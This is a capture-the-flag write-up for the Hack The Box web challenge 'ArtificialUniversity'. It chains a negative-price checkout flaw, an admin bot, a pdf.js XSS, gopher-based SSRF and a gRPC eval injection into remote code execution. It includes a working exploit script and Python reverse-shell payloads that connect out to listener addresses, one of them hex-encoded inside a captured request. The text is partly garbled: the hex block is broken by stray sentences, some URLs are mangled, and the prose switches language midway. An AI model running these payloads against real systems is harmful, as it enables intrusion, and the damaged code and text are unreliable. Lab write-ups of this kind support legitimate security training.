ArtificialUniversity is a web challenge on Hack The Box with the INSANE difficulty Chanllenges, simulating an online education platform's shopping mall module for purchasing courses. The project source code is divided into two parts: grpc-enabled product_api service and flask-enabled store mall web. The challenge only opens the web port to the outside, suggesting that a point to trigger the grpc mechanism must be found in the web to complete the challenge, and the final rce should be on the grpc side. Therefore, after setting up the local environment, the api part should be analyzed first.
GRPC
In api.py, the GenerateProduct function calls the eval function, and the only external function that calls GenerateProduct is GetNewProducts. If a method to control the price_formula parameter is found, calling GetNewProducts will allow command execution.
In api.py, there is also an UpdateService function that can modify key-value pair attributes based on the input dictionary, which is called by the external function DebugService.
The role of DebugService is to receive parameters from the client and then call UpdateService.
Therefore, an exploit chain can be constructed, first calling DebugService to modify "price_formula" to the command to be executed, then calling GetNewProducts to trigger eval, and completing the following exp with the help of deepseek. The command to generate the grpc module from the project's built-in proto file is:
python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. product.proto

import grpc
import product_pb2
import product_pb2_grpc
from google.protobuf.struct_pb2 import Struct
def exploit():
# Connect to gRPC service
channel = grpc.insecure_channel('127.0.0.1:50051') # Replace with target service address
stub = product_pb2_grpc.ProductServiceStub(channel)
# Construct malicious requests, setting price_formula to command execution code
merge_request = product_pb2.MergeRequest()
merge_request.input['price_formula'].string_value = "__import__('os').system('touch /tmp/pwn')"
# Use native python to reverse shell
# merge_request.input['price_formula'].string_value = '''__import__('os').system('python3 -c \'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",4242));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")\'')'''
# Call the DebugService interface, passing in a malicious MergeRequest
print("[*] Sending malicious DebugService request...")
stub.DebugService(merge_request)
# Call GetNewProducts to trigger eval to execute commands
print("[*] Triggering GenerateProduct to execute the payload...")
response = stub.GetNewProducts(product_pb2.Empty())
print("Response received:", response)
if __name__ == "__main__":
exploit()
After the command execution is successfully replicated in the local environment, it is necessary to consider how to use such an exploit on the web side.
WEB
After failing to find vulnerabilities such as injection and upload, the analysis of each interface under ruotes.py started one by one. Among them, /admin/xxxx are contents that require admin account login to access.
/checkout/success
During the attempt to find privilege escalation vulnerabilities, a suspicious operation was found in the /checkout/success interface. It can be seen that after the judgment symbol condition, the admin account and password are automatically passed in to call the bot_runner function.
Following the bot_runner function, its purpose is to simulate the client accessing and obtaining the payment order-generated PDF through the Firefox browser, but since the payment_id is controllable, when the payment_id is /https://www.freebuf.com/articles/admin/xxx, the process is that Firefox accesses http://127.0.0.1:1337/admin/xxx.pdf as the admin, due to the simulated browser operation plus the '#' as the fragment identifier "/https://www.freebuf.com/articles/admin/xxx#
However, there is still an issue to trigger the bot_runner function, which requires satisfying the preceding conditions if amt_paid >= order.price, otherwise, it will directly redirect to error.html. Reading through the entire text reveals that the value of amt_paid is 0 and cannot be changed, which means that only when the entered order price is negative can this condition be met. The next consideration is how to create an order with a price less than 0.
/checkout
Upon visiting the interface for creating an order at /checkout, one can see some peculiar logic. When a product_id is entered, the code block under the if product_id: statement directly generates a default order information, and entering parameters such as price has no effect on the order. However, when parameters are entered without product_id but including the other four complete parameters, the result of if product_id and not session.get("loggedin") will be false, thereby bypassing the login verification and directly executing the subsequent code (but since a user_id is passed, this bypass of login verification has no practical significance, and it is still recommended to log in for the next operation for the convenience of obtaining the order_id). Moreover, the result of the entire judgment statement if not product_id and (not price or not title or not user_id or not email) will also be false, allowing the program to continue running, as the judgment statement if product_id: will execute the else branch statement to create an order with user-controlled content.
Users can create an order with a negative price based on this.
After logging in, visit the /subs interface to obtain the order_id for creating an order with a negative price.
Combined with the previous /checkout/success interface, it is possible to access the complete exploitation of the admin interface /checkout/success?order_id=6&payment_id=/admin/xxx, but this exploitation is particularly limited, and it can only send GET requests to the target interface, and the entire process is accessed through Firefox on the server and cannot see the feedback. What needs to be done next is to find the exploitable points of interfaces related to /admin.
/admin/view-pdf
Find a view-pdf interface under the admin interface. This interface can preview the content of the target pdf based on the url parameter.
Test this interface locally (consider whether the target environment is online and also test on the target environment, and find that the target machine can access the pdf placed on the vps).
In fact, at this point, we have run out of options. There is only a function to access pdf, and other interfaces are also difficult to exploit because they can only accept GET requests. While searching for information, I foundf1yth1efA thought provided by the master. We can use an XSS vulnerability in a named pdf.js to construct a payload that automatically redirects to a target path and carries POST content. When the server simulates Firefox to open this pdf, it can send a POST request to access other interfaces under /admin.
/admin/api-health
When making a POST request to the api-health interface server, the get_url_status_code function is called.
Entering the get_url_status_code function, which uses the subprocess module to simulate terminal usage of curl to send requests.
According to the idea of f1yth1ef master, we can convert the previous grpc request into gopher protocol operations that can be sent by curl, similar to the ssrf exploit chain to attack internal redis. The next step is to convert the exp constructed by analyzing the grpc part into gopher protocol.
Gopher conversion
First, run api.py locally and capture the execution process of exp using Wireshark. Open the TCP stream and copy the raw data of the request part.
Replace the raw_hex part in the following conversion script with the copied raw data and run
import binascii
import urllib.parse
def hex_to_gopher(hex_str: str) -> str:
"""Directly convert pure Hex string to gopher URL"""
# Clean non-Hex characters
cleaned = hex_str.replace(" ", "").replace("\n", "").strip()
# Verify Hex length
if len(cleaned) % 2 != 0:
raise ValueError("Invalid Hex length")
try:
binary = binascii.unhexlify(cleaned)
except binascii.Error as e:
raise ValueError(f"Hex decoding failed: {str(e)}")
# Basic protocol verification
if not binary.startswith(b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'):
raise ValueError("Invalid HTTP/2 magic bytes")
# Generate gopher URL
encoded = urllib.parse.quote(binary, safe='')
return f"gopher://127.0.0.1:50051/_{encoded}"
# Input data (cleaned continuous Hex)
raw_hex = """
505249202a20485454502f322e300d0a0d0a534d0d0a0d0a000024040000000000000200000000000300000000000400400000000500400000000600004000fe0300000001000004080000000000003f0001
000000040100000000
0000e101040000000140053a70617468242f70726f647563742e50726f64756374536572766963652f446562756753657276696365400a3a617574686f726974790f6c6f63616c686f73743a35303035318386400c636f6e74656e742d74797065106170706c69636174696f6e2f677270634002746508747261696c6572734014677270632d6163636570742d656e636f64696e67176964656e746974792c206465666c6174652c20677a6970400a757365722d6167656e7430677270632d707974686f6e2f312e37302e3020677270632d632f34352e302e3020286c696e75783b2063687474703229000004080000000001000000050000ce00010000000100000000c90ac6010a0d70726963655f666f726d756c6112b4010ab1015f5f696d706f72745f5f28276f7327292e73797374656d2827707974686f6e33202d63205c27696d706f727420736f636b65742c6f732c7074793b733d736f636b65742e736f636b657428293b732e636f6e6e6563742828223137322e31372e302e31222c3637363729293b5b6f732e6475703228732e66696c6The binary code for the fourth segment is: 56e6f28292c66642920666f7220666420696e2028302c312c32295d3b7074792e737061776e28222f62696e2f6261736822295c27272900000408000000000000000005
The binary code for the third segment is: 0000080601000000002c20317a14a3fad2
The binary code for the second segment is: 000008060000000000deac00f8ef07f63c
The binary code for the first segment is: 00003501040000000340053a70617468262f70726f647563742e50726f64756374536572766963652f4765744e657750726f6475637473c38386c2c1c0bf00000408000000000300000005000005000100000003000000000000000408000000000000000005
00000806010000000049be420c8749b031
"""
try:
# 生成URL
gopher_url = hex_to_gopher(raw_hex)
print("成功生成gopher URL:")
print(gopher_url)
except ValueError as e:
print("错误:", str(e))
得到gohper的数据
先在本地测试一下直接用curl命令能否执行exp中的touch /tmp/pwn命令。可能是粘包、服务器响应等问题,在运行多次curl命令发送payload后才能成功执行touch命令。
至此所需的利用条件已全部找到。
完整利用
首先用wireshark捕获通过exp反弹shell的请求,复制其raw数据,通过gopher转换脚本得到payload。
Then create a pdf using the CVE-2024-4367 vulnerability that automatically redirects to /admin/api-health and carries a cookie and post content as url=gopher://....., the key payload is as follows.
Place the pdf on a VPS accessible to the target range and start the web service.
Start a new terminal to open nc listening, waiting for subsequent operations to rebound a shell.
Trigger the /checkout logic vulnerability without the product_id parameter to create an order with a negative price
Then access /checkout/success using an order ID with a negative price to access the /admin/view-pdf interface, causing the server to access the pdf and trigger XSS redirection to execute the payload.
Rebound shell to get the flag.
Reference link
https://www.freebuf.com/articles/web/410492.html
https://cloud.tencent.com/developer/article/2420071

评论已关闭